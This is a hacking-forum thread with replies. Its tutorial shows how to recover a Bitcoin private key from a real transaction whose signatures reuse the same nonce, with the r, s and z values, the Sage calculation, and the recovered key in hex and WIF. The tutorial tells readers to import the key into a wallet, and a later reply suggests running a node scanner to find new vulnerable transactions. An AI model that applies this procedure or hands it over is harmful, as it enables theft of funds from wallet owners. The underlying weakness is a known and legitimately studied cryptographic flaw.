Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Tutorial 

Deriving a Private Key from a Vulnerable Bitcoin Address

Today I will be educating you on vulnerable bitcoin addresses.

Here are some ways that a bitcoin address/transaction can be vulnerable.
  • A private key is created with a common password such as "123456"
  • A simple copy/paste mistake
  • A transaction is created with non-standard outputs
  • A random generator was used wrong or produced the same output.
  • The private key was posted publicly.

We are going to be talking about a transaction with a broken random number string. These addresses re-use certain values in a transaction due to poor knowledge/coding or the random value was the same (pretty much impossible unless there is a bug).

Take a look at this transaction: https://blockchain.info/tx/9ec4bc49e828d...0e3b29c4b1

There are two input scripts and one output in this script. This is alright. Inputs are pointers to outputs of previous transactions. Outputs are, at the basic, an amount and an address.

Taking a closer look at the inputs of these scripts we notice that they are similar.

1.
Code
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]

2.
Code
ScriptSig: PUSHDATA(71)[30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab01] PUSHDATA(65)[04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff]

The beginning of the scripts contain the signatures (defined as 'r' and 's'). The end of the script is the hex public key.

So we have:

Code
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

It turns out that the r values in the scripts are exactly the same. This means we can derive the private key.

Now for some math equations:

Code
Bitcoin Private Key = (z1*s2 - z2*s1)/(r*(s1-s2))

We have the r and s values, now we need to find the z1 and z2 values.

Go here: https://2coin.org/

Enter in our transaction ID: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

Scroll down to find the z values

[Image: EDIkQX6.png]

We find:
Code
z1 = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

bitcoin uses an elliptical curve. The order of the curve is secp256k1.

Code
p = parameter for the secp256k1 curve. So

p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

We'll need to create a finite field for the calculation.

Code
K = GF(p)

Now that we have all the information we need, we can run our calculations.

We'll use Sagemath: http://www.sagemath.org/

I'll be using the cloud version. Make sure you input all of our equations:

Code
p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

K = GF(p)

K((z1*s2 - z2*s1)/(r*(s1-s2)))

[Image: pQ3BaGA.jpg]

Click run:

[Image: JZaiLNB.jpg]

The calculation outputs: 88865298299719117682218467295833367085649033095698151055007620974294165995414

Now we will convert it from decimal to hex. You can do so here: https://www.rapidtables.com/convert/numb...o-hex.html

Our private key in hex is: C477F9F65C22CCE20657FAA5B2D1D8122336F851A508A1ED04E479C34985BF96

From here we can convert it to a WIF (wallet import format). This represents the private key!

Quote:A WIF private key is a standard private key, but with a few added extras:

1. Version Byte prefix - Indicates which network the private key is to be used on.
0x80 = Mainnet
0xEF = Testnet
2. Compression Byte suffix (optional) - Indicates if the private key is used to create a compressed public key.
0x01
3. Checksum - Useful for detecting errors/typos when you type out your private key.

Go here: https://2coin.org/privateKeyToAddress.html

Enter in our hex private key.

[Image: KZR5Srd.jpg]

Our private key in WIF is: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

Go ahead and import this into a majority of wallets. I prefer Electrum! https://electrum.org/

Just a few side notes. This is an old vulnerability but still is around. Not many bitcoin companies/wallets will re-use values these days when signing transactions, but people who are creating new copies of old coins and wallets generally don't know about this vulnerability. While researching this, I discovered that a lot of Russian bitcoin enthusiasts have coded bots to automatically grab coins from vulnerable addresses of this type and others as mentioned at the beginning of this tutorial.

Hope this tutorial sparks some interest in people!
This was an interesting read. Appreciated
that wahtas a hell of a post..thank you..very interesting...about the codes and hex to asciiconver
Very interesting post. I knew about this vaguely but this definitely made it clear. I like how you said "Russian bitcoin enthousiasts". Oh well, at least it motivated crypto devs to fix their coin.
[Image: hW3Ktfp.png]
Wow man dont understand shit but i checked some old wallets couldnt find matching ones lol XD
good luck hackers bois
So to my understanding, this requires at least 2 input scripts correct? Was going to try on a wallet I lost access too but I never sent from it so I don't have multiple listed per transaction. Feelsbad.
[Image: GXhEnVQ.png]
This is a fantastic read. But it's going to take me a few more times to read to really understand all the aspects.
I think your broke my brain at the /rs formula. Posting here to read again later.
(Apr 24, 2018 05:49 PM)lucky. Wrote:  So to my understanding, this requires at least 2 input scripts correct? Was going to try on a wallet I lost access too but I never sent from it so I don't have multiple listed per transaction. Feelsbad.

That is correct. Since pretty much every wallet is a custom wallet, the main cause for this is the RNG not being random and applying the same r value multiple times. This happened to Blockchain in 2014, but an ethical hacker saved a majority of the bitcoin stolen (over 230).
Could you potentially create a transaction with the exploit intentionally as a test to see if a member can crack it?
(Apr 24, 2018 09:05 PM)Kill Joy Wrote:  That is correct. Since pretty much every wallet is a custom wallet, the main cause for this is the RNG not being random and applying the same r value multiple times. This happened to Blockchain in 2014, but an ethical hacker saved a majority of the bitcoin stolen (over 230).

Yeah that guy returned those btc to blockchain. This PRNG bug was the hot talk in 2013-2014. Here's the original article
http://www.nilsschneider.net/2013/01/28/...-keys.html
(Apr 24, 2018 09:50 PM)Omniscient Wrote:  Could you potentially create a transaction with the exploit intentionally as a test to see if a member can crack it?

Of course. Once I have some free time today I’ll create one.
(Apr 24, 2018 10:30 PM)Kill Joy Wrote:  Of course. Once I have some free time today I’ll create one.

If you could make me one to test i'll hit you with that sweet +1 lol

To my understanding, most if not all transactions on today's blocks are not vulnerable to this? How long would it take to find a vulnerable one?
(Apr 24, 2018 10:59 PM)xetrics Wrote:  If you could make me one to test i'll hit you with that sweet +1 lol

To my understanding, most if not all transactions on today's blocks are not vulnerable to this? How long would it take to find a vulnerable one?

Certain pools will accept non-standard transactions. It’s also up to wallet software these days too. So it still can happen, just it does not happen very often unless some is using buggy or outdated software. Easiest way to find a new one would be to run your own node with an active scanner for incoming transactions. Other ways would be noticing trends in what addresses are vulnerable (because they were created with the same software).

A user PM’d me about an address he had found that had duplicated r values but it was a SegWit transaction which replaces the signature data with witnesses. The signature data is only stripped from the transaction and placed inside the block itself. So I need to mess around with that a bit to see how I can get that data from the block.
Can this happen with any bitcoin transaction?


Possibly Related Threads...
Thread / Author Replies Views Last Post
by OmniscientJan 19, 2023 04:45 PM 40 1,482 Jan 19, 2023 04:45 PM
Last Post: _daniel
by NewbiesOct 28, 2021 11:54 AM 5 262 Oct 28, 2021 11:54 AM
Last Post: XMR
by 69_Master_69Oct 14, 2020 04:46 PM 15 499 Oct 14, 2020 04:46 PM
Last Post: krisj